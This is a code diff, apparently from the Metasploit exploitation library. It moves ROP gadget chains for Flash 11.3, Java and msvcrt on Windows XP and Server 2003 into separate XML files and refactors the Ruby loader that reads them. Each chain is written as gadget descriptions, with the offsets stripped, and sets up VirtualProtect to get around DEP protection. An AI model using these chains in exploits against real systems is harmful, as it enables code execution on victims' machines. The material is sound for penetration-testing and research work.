diff --git a/data/ropdb/flash.xml b/data/ropdb/flash.xml
new file mode 100644
index 0000000000..0938e74829
--- /dev/null
+++ b/data/ropdb/flash.xml
@@ -0,0 +1,80 @@
+
+
+
+
+ 11.3.300.257
+
+
+
+ POP EAX # RETN
+ ptr to VirtualProtect()
+ MOV EAX,DWORD PTR DS:[EAX] # RETN
+ XCHG EAX,ESI # RETN
+ POP EBP # RETN
+ jmp esp
+ POP EBX # RETN
+ 0x00000400-> ebx
+ POP EDX # RETN
+ 0x00000040-> edx
+ POP ECX # RETN
+ Writable location
+ POP EDI # RETN
+ RETN (ROP NOP)
+ POP EAX # RETN
+ nop
+ PUSHAD # RETN
+
+
+
+
+
+ 11.3.300.265
+
+
+
+ POP EAX # RETN
+ ptr to VirtualProtect()
+ MOV EAX,DWORD PTR DS:[EAX] # RETN
+ XCHG EAX,ESI # RETN
+ POP EBP # RETN
+ jmp esp
+ POP EBX # RETN
+ 0x00000400-> ebx
+ POP EDX # RETN
+ 0x00000040-> edx
+ POP ECX # RETN
+ Writable location
+ POP EDI # RETN
+ RETN (ROP NOP)
+ POP EAX # RETN
+ nop
+ PUSHAD # RETN
+
+
+
+
+
+ 11.3.300.268
+
+
+
+ POP ECX # RETN
+ ptr to VirtualProtect()
+ MOV EAX,DWORD PTR DS:[ECX]
+ XCHG EAX,ESI # RETN
+ POP EBP # RETN
+ jmp esp
+ POP EBX # RETN
+ 0x00000400-> ebx
+ POP EDX # RETN
+ 0x00000040-> edx
+ POP ECX # RETN
+ Writable location
+ POP EDI # RETN
+ # RETN (ROP NOP)
+ POP EAX # RETN
+ nop
+ PUSHAD # RETN
+
+
+
\ No newline at end of file
diff --git a/data/ropdb/java.xml b/data/ropdb/java.xml
new file mode 100644
index 0000000000..b8f70b0417
--- /dev/null
+++ b/data/ropdb/java.xml
@@ -0,0 +1,27 @@
+
+
+
+
+ *
+
+
+
+ POP EBP # RETN
+ skip 4 bytes
+ POP EBX # RETN
+ 0x00000400-> ebx
+ POP EDX # RETN
+ 0x00000040-> edx
+ POP ECX # RETN
+ Writable location
+ POP EDI # RETN
+ RETN (ROP NOP)
+ POP ESI # RETN
+ JMP [EAX]
+ POP EAX # RETN
+ ptr to VirtualProtect()
+ PUSHAD # ADD AL,0EF # RETN
+ ptr to 'push esp # ret
+
+
+
\ No newline at end of file
diff --git a/data/ropdb/msvcrt.xml b/data/ropdb/msvcrt.xml
new file mode 100644
index 0000000000..13b85cedec
--- /dev/null
+++ b/data/ropdb/msvcrt.xml
@@ -0,0 +1,56 @@
+
+
+
+
+ WINDOWS XP SP2
+ WINDOWS XP SP3
+
+
+
+ POP EBP # RETN
+ skip 4 bytes
+ POP EBX # RETN
+ 0x00000400-> ebx
+ POP EDX # RETN
+ 0x00000040-> edx
+ POP ECX # RETN
+ Writable location
+ POP EDI # RETN
+ RETN (ROP NOP)
+ POP ESI # RETN
+ JMP [EAX]
+ POP EAX # RETN
+ ptr to VirtualProtect()
+ PUSHAD # RETN
+ ptr to 'push esp # ret
+
+
+
+
+
+ WINDOWS SERVER 2003 SP1
+ WINDOWS SERVER 2003 SP2
+
+
+
+ POP EAX # RETN
+ ptr to VirtualProtect()
+ MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
+ Filler
+ XCHG EAX,ESI # RETN
+ POP EBP # RETN
+ PUSH ESP # RETN
+ POP EBX # RETN
+ 0x00000400-> ebx
+ POP EDX # RETN
+ 0x00000040-> edx
+ POP ECX # RETN
+ Writable location
+ POP EDI # RETN
+ RETN (ROP NOP)
+ POP EAX # RETN
+ nop
+ PUSHAD # ADD AL,0EF # RETN
+
+
+
\ No newline at end of file
diff --git a/data/ropdb/ropdb.xml b/data/ropdb/ropdb.xml
deleted file mode 100644
index fe77866d00..0000000000
--- a/data/ropdb/ropdb.xml
+++ /dev/null
@@ -1,159 +0,0 @@
-
-
-
-
- WINDOWS XP SP2
- WINDOWS XP SP3
-
-
-
- POP EBP # RETN
- skip 4 bytes
- POP EBX # RETN
- 0x00000400-> ebx
- POP EDX # RETN
- 0x00000040-> edx
- POP ECX # RETN
- Writable location
- POP EDI # RETN
- RETN (ROP NOP)
- POP ESI # RETN
- JMP [EAX]
- POP EAX # RETN
- ptr to VirtualProtect()
- PUSHAD # RETN
- ptr to 'push esp # ret
-
-
-
-
-
- WINDOWS SERVER 2003 SP1
- WINDOWS SERVER 2003 SP2
-
-
-
- POP EAX # RETN
- ptr to VirtualProtect()
- MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
- Filler
- XCHG EAX,ESI # RETN
- POP EBP # RETN
- PUSH ESP # RETN
- POP EBX # RETN
- 0x00000400-> ebx
- POP EDX # RETN
- 0x00000040-> edx
- POP ECX # RETN
- Writable location
- POP EDI # RETN
- RETN (ROP NOP)
- POP EAX # RETN
- nop
- PUSHAD # ADD AL,0EF # RETN
-
-
-
-
-
- 11.3.300.257
-
-
-
- POP EAX # RETN
- ptr to VirtualProtect()
- MOV EAX,DWORD PTR DS:[EAX] # RETN
- XCHG EAX,ESI # RETN
- POP EBP # RETN
- jmp esp
- POP EBX # RETN
- 0x00000400-> ebx
- POP EDX # RETN
- 0x00000040-> edx
- POP ECX # RETN
- Writable location
- POP EDI # RETN
- RETN (ROP NOP)
- POP EAX # RETN
- nop
- PUSHAD # RETN
-
-
-
-
-
- 11.3.300.265
-
-
-
- POP EAX # RETN
- ptr to VirtualProtect()
- MOV EAX,DWORD PTR DS:[EAX] # RETN
- XCHG EAX,ESI # RETN
- POP EBP # RETN
- jmp esp
- POP EBX # RETN
- 0x00000400-> ebx
- POP EDX # RETN
- 0x00000040-> edx
- POP ECX # RETN
- Writable location
- POP EDI # RETN
- RETN (ROP NOP)
- POP EAX # RETN
- nop
- PUSHAD # RETN
-
-
-
-
-
- 11.3.300.268
-
-
-
- POP ECX # RETN
- ptr to VirtualProtect()
- MOV EAX,DWORD PTR DS:[ECX]
- XCHG EAX,ESI # RETN
- POP EBP # RETN
- jmp esp
- POP EBX # RETN
- 0x00000400-> ebx
- POP EDX # RETN
- 0x00000040-> edx
- POP ECX # RETN
- Writable location
- POP EDI # RETN
- # RETN (ROP NOP)
- POP EAX # RETN
- nop
- PUSHAD # RETN
-
-
-
-
-
- *
-
-
-
- POP EBP # RETN
- skip 4 bytes
- POP EBX # RETN
- 0x00000400-> ebx
- POP EDX # RETN
- 0x00000040-> edx
- POP ECX # RETN
- Writable location
- POP EDI # RETN
- RETN (ROP NOP)
- POP ESI # RETN
- JMP [EAX]
- POP EAX # RETN
- ptr to VirtualProtect()
- PUSHAD # ADD AL,0EF # RETN
- ptr to 'push esp # ret
-
-
-
\ No newline at end of file
diff --git a/lib/rex/exploitation/ropdb.rb b/lib/rex/exploitation/ropdb.rb
index e617b41fe9..630b9a131c 100644
--- a/lib/rex/exploitation/ropdb.rb
+++ b/lib/rex/exploitation/ropdb.rb
@@ -13,9 +13,7 @@ module Exploitation
###
class RopDb
def initialize
- f = open(File.join(File.dirname(__FILE__), '../../../data/ropdb', 'ropdb.xml'))
- @xml = REXML::Document.new(f.read)
- f.close
+ @base_path = File.join(File.dirname(__FILE__), '../../../data/ropdb/')
end
public
@@ -24,17 +22,14 @@ class RopDb
#
# Returns true if a ROP chain is available, otherwise false
#
- def has_rop?(rop)
- @xml.elements.each("db/rop") { |e|
- name = e.attributes['name']
- return true if name =~ /#{rop}/i
- }
- return false
+ def has_rop?(rop_name)
+ File.exists?(File.join(@base_path, "#{rop_name}.xml"))
end
#
# Returns an array of ROP gadgets. Each gadget can either be an offset, or a value (symbol or
- # some integer). When the value is a symbol, it can be one of these: :nop, :junk, :size.
+ # some integer). When the value is a symbol, it can be one of these: :nop, :junk, :size,
+ # and :size_negate.
# Note if no RoP is found, it returns an empry array.
# Arguments:
# rop_name - name of the ROP chain.
@@ -46,10 +41,13 @@ class RopDb
target = opts['target'] || ''
base = opts['base'] || nil
+ raise RuntimeError, "#{rop} ROP chain is not available" if not has_rop?(rop)
+ xml = load_rop(File.join(@base_path, "#{rop}.xml"))
+
gadgets = []
- @xml.elements.each("db/rop") { |e|
+
+ xml.elements.each("db/rop") { |e|
name = e.attributes['name']
- next if name !~ /^#{rop}$/i
next if not has_target?(e, target)
if not base
@@ -57,33 +55,9 @@ class RopDb
base = default.to_i(16)
end
- e.elements.each('gadgets/gadget') { |g|
- offset = g.attributes['offset']
- value = g.attributes['value']
-
- if offset
- addr = offset.scan(/^0x([0-9a-f]+)$/i).flatten[0]
- gadgets << (base + addr.to_i(16))
- elsif value
- case value
- when 'nop'
- gadgets << :nop
- when 'junk'
- gadgets << :junk
- when 'size'
- gadgets << :size
- when 'size_negate'
- gadgets << :size_negate
- else
- gadgets << value.to_i(16)
- end
- else
- raise RuntimeError, "Missing offset or value attribute in '#{name}'"
- end
- }
+ gadgets << parse_gadgets(e, base)
}
- gadgets = gadgets.flatten
- return gadgets
+ return gadgets.flatten
end
@@ -140,6 +114,49 @@ class RopDb
}
return false
end
+
+ #
+ # Returns the database in XML
+ #
+ def load_rop(file_path)
+ f = open(file_path)
+ xml = REXML::Document.new(f.read)
+ f.close
+ return xml
+ end
+
+
+ #
+ # Returns gadgets
+ #
+ def parse_gadgets(e, image_base)
+ gadgets = []
+ e.elements.each('gadgets/gadget') { |g|
+ offset = g.attributes['offset']
+ value = g.attributes['value']
+
+ if offset
+ addr = offset.scan(/^0x([0-9a-f]+)$/i).flatten[0]
+ gadgets << (image_base + addr.to_i(16))
+ elsif value
+ case value
+ when 'nop'
+ gadgets << :nop
+ when 'junk'
+ gadgets << :junk
+ when 'size'
+ gadgets << :size
+ when 'size_negate'
+ gadgets << :size_negate
+ else
+ gadgets << value.to_i(16)
+ end
+ else
+ raise RuntimeError, "Missing offset or value attribute in '#{name}'"
+ end
+ }
+ return gadgets
+ end
end
end